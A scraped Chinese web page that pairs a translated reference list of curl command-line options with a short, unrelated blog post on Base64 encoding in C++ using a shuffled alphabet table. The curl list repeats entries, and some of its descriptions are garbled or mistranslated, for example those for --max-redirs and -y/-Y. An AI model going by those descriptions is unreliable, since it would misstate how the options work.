
  --3p-user       使用用户名和密码,进行第三方传送

  -4/--ipv4   使用IP4

  -6/--ipv6   使用IP6

  -#/--progress-bar 用进度条显示当前的传送状态

  -a/--append 上传文件时,附加到目标文件

  -A/--user-agent <string>  设置用户代理发送给服务器

  - anyauth   可以使用“任何”身份验证方法

  -b/--cookie <name=string/file> cookie字符串或文件读取位置

  - basic 使用HTTP基本验证

  -B/--use-ascii 使用ASCII /文本传输

  -c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中

  -C/--continue-at <offset>  断点续转

  -d/--data <data>   HTTP POST方式传送数据

  --data-ascii <data>  以ascii的方式post数据

  --data-binary <data> 以二进制的方式post数据

  --negotiate     使用HTTP身份验证

  --digest        使用数字身份验证

  --disable-eprt  禁止使用EPRT或LPRT

  --disable-epsv  禁止使用EPSV

  -D/--dump-header <file> 把header信息写入到该文件中

  --egd-file <file> 为随机数据(SSL)设置EGD socket路径

  --tcp-nodelay   使用TCP_NODELAY选项

  -e/--referer 来源网址

  -E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)

  --cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)

  --key <key>     私钥文件名 (SSL)

  --key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)

  --pass  <pass>  私钥密码 (SSL)

  --engine <eng>  加密引擎使用 (SSL). "--engine list" for list

  --cacert <file> CA证书 (SSL)

  --capath <directory> CA目录 (made using c_rehash) to verify peer against (SSL)

  --ciphers <list>  SSL密码

  --compressed    要求返回是压缩的形势 (using deflate or gzip)

  --connect-timeout <seconds> 设置最大请求时间

  --create-dirs   建立本地目录的目录层次结构

  --crlf          上传是把LF转变成CRLF

  -f/--fail          连接失败时不显示http错误

  --ftp-create-dirs 如果远程目录不存在,创建远程目录

  --ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用

  --ftp-pasv      使用 PASV/EPSV 代替端口

  --ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址

  --ftp-ssl       尝试用 SSL/TLS 来进行ftp数据传输

  --ftp-ssl-reqd  要求用 SSL/TLS 来进行ftp数据传输

  -F/--form <name=content> 模拟http表单提交数据

  -form-string <name=string> 模拟http表单提交数据

  -g/--globoff 禁用网址序列和范围使用{}和[]

  -G/--get 以get的方式来发送数据

  -h/--help 帮助

  -H/--header <line>自定义头信息传递给服务器

  --ignore-content-length  忽略的HTTP头信息的长度

  -i/--include 输出时包括protocol头信息

  -I/--head  只显示文档信息

  从文件中读取-j/--junk-session-cookies忽略会话Cookie

  - 界面<interface>指定网络接口/地址使用

  - krb4 <级别>启用与指定的安全级别krb4

  -j/--junk-session-cookies 读取文件进忽略session cookie

  --interface <interface> 使用指定网络接口/地址

  --krb4 <level>  使用指定安全级别的krb4

  -k/--insecure 允许不使用证书到SSL站点

  -K/--config  指定的配置文件读取

  -l/--list-only 列出ftp目录下的文件名称

  --limit-rate <rate> 设置传输速度

  --local-port<NUM> 强制使用本地端口号

  -m/--max-time <seconds> 设置最大传输时间

  --max-redirs <num> 设置最大读取的目录数

  --max-filesize <bytes> 设置最大下载的文件总量
-M/--manual  显示全手动

  -n/--netrc 从netrc文件中读取用户名和密码

  --netrc-optional 使用 .netrc 或者 URL来覆盖-n

  --ntlm          使用 HTTP NTLM 身份验证

  -N/--no-buffer 禁用缓冲输出

  -o/--output 把输出写到该文件中

  -O/--remote-name 把输出写到该文件中,保留远程文件的文件名

  -p/--proxytunnel   使用HTTP代理

  --proxy-anyauth 选择任一代理身份验证方法

  --proxy-basic   在代理上使用基本身份验证

  --proxy-digest  在代理上使用数字身份验证

  --proxy-ntlm    在代理上使用ntlm身份验证

  -P/--ftp-port <address> 使用端口地址,而不是使用PASV

  -Q/--quote <cmd>文件传输前,发送命令到服务器

  -r/--range <range>检索来自HTTP/1.1或FTP服务器字节范围

  --range-file 读取(SSL)的随机文件

  -R/--remote-time   在本地生成文件时,保留远程文件时间

  --retry <num>   传输出现问题时,重试的次数

  --retry-delay <seconds>  传输出现问题时,设置重试间隔时间

  --retry-max-time <seconds> 传输出现问题时,设置最大重试时间

  -s/--silent静音模式。不输出任何东西

  -S/--show-error   显示错误

  --socks4 <host[:port]> 用socks4代理给定主机和端口

  --socks5 <host[:port]> 用socks5代理给定主机和端口

  --stderr <file>

  -t/--telnet-option <OPT=val> Telnet选项设置

  --trace <file>  对指定文件进行debug

  --trace-ascii <file> Like --跟踪但没有hex输出

  --trace-time    跟踪/详细输出时,添加时间戳

  -T/--upload-file <file> 上传文件

  --url <URL>     Spet URL to work with

  -u/--user <user[:password]>设置服务器的用户和密码

  -U/--proxy-user <user[:password]>设置代理用户名和密码

  -v/--verbose

  -V/--version 显示版本信息

  -w/--write-out [format]什么输出完成后

  -x/--proxy <host[:port]>在给定的端口上使用HTTP代理

  -X/--request <command>指定什么命令

  -y/--speed-time 放弃限速所要的时间。默认为30

  -Y/--speed-limit 停止传输速度的限制,速度时间'秒

  -z/--time-cond  传送时间设置

  -0/--http1.0  使用HTTP 1.0

  -1/--tlsv1  使用TLSv1(SSL)

  -2/--sslv2 使用SSLv2的(SSL)

  -3/--sslv3         使用的SSLv3(SSL)

  --3p-quote      like -Q for the source URL for 3rd party transfer

  --3p-url        使用url,进行第三方传送

  --3p-user       使用用户名和密码,进行第三方传送

  -4/--ipv4   使用IP4

  -6/--ipv6   使用IP6

  -#/--progress-bar 用进度条显示当前的传送状态

 

 

Base64非默认编码表加密测试

Li, Json阅读(335)

Base64加密下会有一张编码表。但如果这张编码表顺序被打乱了呢?

思路来源于FreeBuf:http://www.freebuf.com/articles/database/140773.html

代码基于C++语言编写,先放出来C++下的Base64加密

unsigned char * base64 = (unsigned char *)"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
CString base64encode(CString src, int srclen)
{
	int n, buflen, i, j;
	static unsigned char *dst;
	CString buf = src;
	buflen = n = srclen;
	dst = (unsigned char*)malloc(buflen / 3 * 4 + 3);
	memset(dst, 0, buflen / 3 * 4 + 3);
	for (i = 0, j = 0; i <= buflen - 3; i += 3, j += 4) {
		dst[j] = (buf[i] & 0xFC) >> 2;
		dst[j + 1] = ((buf[i] & 0x03) << 4) + ((buf[i + 1] & 0xF0) >> 4);
		dst[j + 2] = ((buf[i + 1] & 0x0F) << 2) + ((buf[i + 2] & 0xC0) >> 6);
		dst[j + 3] = buf[i + 2] & 0x3F;
	}
	if (n % 3 == 1) {
		dst[j] = (buf[i] & 0xFC) >> 2;
		dst[j + 1] = ((buf[i] & 0x03) << 4);
		dst[j + 2] = 64;
		dst[j + 3] = 64;
		j += 4;
	}
	else if (n % 3 == 2) {
		dst[j] = (buf[i] & 0xFC) >> 2;
		dst[j + 1] = ((buf[i] & 0x03) << 4) + ((buf[i + 1] & 0xF0) >> 4);
		dst[j + 2] = ((buf[i + 1] & 0x0F) << 2);
		dst[j + 3] = 64;
		j += 4;
	}
	for (i = 0; i<j; i++) /* map 6 bit value to base64 ASCII character */
		dst[i] = base64[(int)dst[i]];
	dst[j] = 0;
	return CString(dst);
}

调用方法如下:

printf("%s",base64encode(“hello”,5));

第一个参数是要编码的字符串,后面就是这个字符串长度。如此一来,编码过后为aGVsbG8=,现在要做的就是打乱编码。然后这个不是重点。另外。我们在打乱编码以后,也是可以正常编码的。上面是一段编码的,我们来进行一下解码。首先我们把编码字符串进行修改为:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

然后我们编码试试来解码(此时的hello被编码成了AgvSBg8=)

CString base64decode(CString inpt,int * len)
{
     int n,i,j,pad;
     unsigned char *p;
     static unsigned char *dst;
     unsigned char * src;
     *len=0;
     pad=0;
     n=inpt.GetLength();
     src=new unsigned char [n];
     for(i=0;i<n;i++)
         src[i]=inpt[i];
 
     while(n>0&&src[n-1]=='=') {
         src[n-1]=0;
         pad++;
         n--;
     }
     for(i=0;i<n;i++)   { /* map base64 ASCII character to 6 bit value */
         p=(unsigned char *)strchr((const char *)base64,(int)src[i]);
         if(!p)
              break;
         src[i]=p-(unsigned char *)base64;
     }
 
     dst=(unsigned char *)malloc(n*3/4+1);
     memset(dst,0,n*3/4+1);
     for(i=0,j=0;i<n;i+=4,j+=3) {
         dst[j]=(src[i]<<2) + ((src[i+1]&0x30)>>4);
         dst[j+1]=((src[i+1]&0x0F)<<4) + ((src[i+2]&0x3C)>>2);
         dst[j+2]=((src[i+2]&0x03)<<6) + src[i+3];
         *len+=3;
     }
     *len-=pad;
     return CString(dst);
}

解码即可还原成原来字符串hello